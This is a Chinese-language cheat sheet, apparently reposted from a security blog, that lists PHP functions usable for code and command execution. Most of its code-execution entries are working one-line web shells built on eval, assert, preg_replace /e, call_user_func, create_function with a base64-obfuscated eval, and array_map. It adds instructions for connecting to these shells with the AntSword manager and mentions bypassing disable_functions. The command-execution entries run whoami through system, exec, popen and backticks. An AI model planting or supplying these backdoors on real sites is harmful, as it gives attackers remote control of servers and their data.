PHP代碼執行/命令執行總結


代碼執行

eval

(PHP 4, PHP 5, PHP 7)

eval( string $code) : mixed

把字符串 code 作為PHP代碼執行。

eval($_POST['c']);

直接蟻劍鏈接密碼為c

assert

(PHP 4, PHP 5, PHP 7)

assert( mixed $assertion[, Throwable $exception]) : bool

如果 assertion 是字符串,它將會被 assert() 當做 PHP 代碼來執行。

使用方法同eval

assert($_POST['c']);

preg_replace

(PHP 4, PHP 5, PHP 7)

preg_replace ( mixed $pattern,mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

preg_replace — 執行一個正則表達式的搜索和替換
搜索subject中匹配pattern的部分,以replacement進行替換。

當使用被棄用的 e 修飾符時, 這個函數會轉義一些字符,即:'"\NULL
然后進行后向引用替換。在完成替換后, 引擎會將結果字符串作為php代碼使用eval方式進行評估並將返回值作為最終參與替換的字符串。

舉個栗子:

echo preg_replace('/chabug/e','phpinfo()','asdasdchabugasd');

/e修飾符前的正則表達式匹配后面的字符串參數,將chabug字符串替換為phpinfo()並且以eval()的方式執行。

一句話:

echo preg_replace('/.*/e',$_POST['c'],'');

call_user_func

(PHP 4, PHP 5, PHP 7)

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed

call_user_func — 把第一個參數作為回調函數調用
第一個參數 callback 是被調用的回調函數,其余參數是回調函數的參數。

舉個例子:

call_user_func('phpinfo');

一句話shell:

call_user_func($_POST['a'], $_POST['c']);

image-20200928163116695

蟻劍連接

image-20200928163143655

image-20200928163200949

需要設置http body和編碼器

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

call_user_func_array ( callable $callback , array $param_arr ) : mixed

call_user_func_array 調用回調函數,並把一個數組參數作為回調函數的參數

舉個例子:

call_user_func_array($_POST['a'], $_POST['c']);

image-20200928163253296

和上一個函數相比只是將$c改為數組傳入,蟻劍連接方式同理。

create_function

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

create_function ( string $args , string $code ) : string

create_function函數接收兩個參數$args$code 然后組成新函數function_lambda_func($args){$code;}eval(function_lambda_func($args){$code;})

我們不需要傳參數,直接把$code改為普通的一句話就行了。

$c=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJjIl0pOw=='));$c();

密碼c

array_map

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_map ( callable $callback , array $array1 [, array $... ] ) : array

返回數組,是為 array1 每個元素應用 callback函數之后的數組。 callback 函數形參的數量和傳給 array_map() 數組數量,兩者必須一樣。

一句話:

array_map('assert',array($_POST['c']));

還有諸如array_filteruksortuasortarray_walk + preg_replacepreg_filtermb_ereg_replaceregister_shutdown_functionfilter_var

更多的回調函數請移步 創造tips的秘籍——PHP回調后門

命令執行

system

system ( string $command [, int &$return_var ] ) : string

system — 執行外部程序,並且顯示輸出,本函數執行 command 參數所指定的命令, 並且輸出執行結果。

system('whoami');

passthru

passthru ( string $command [, int &$return_var ] ) : void

passthru — 執行外部程序並且顯示原始輸出

passthru('whoami');

exec

exec ( string $command [, array &$output [, int &$return_var ]] ) : string

exec() 執行 command 參數所指定的命令。

echo exec("whoami");

pcntl_exec

pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void

pcntl_exec — 在當前進程空間執行指定程序
$path指定可執行二進制文件路徑

pcntl_exec ( "/bin/bash" , array("whoami"));

該模塊不能在非Unix平台(Windows)上運行。

shell_exec

shell_exec ( string $cmd ) : string

通過 shell 環境執行命令,並且將完整的輸出以字符串的方式返回。

echo shell_exec('whoami');

popen

popen ( string $command , string $mode ) : resource

打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。

$handle = popen('cmd.exe /c whoami', 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);

與之對應的還有proc_open()函數

反引號

在php中稱之為執行運算符,PHP 將嘗試將反引號中的內容作為 shell 命令來執行,並將其輸出信息返回,使用反引號運算符的效果與函數 shell_exec() 相同。

echo `whoami`;

ob_start

ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool
$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();

實際上還是通過回調system函數,繞不過disablefunc

mail

講不清楚,直接貼鏈接

bypass_disablefunc

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM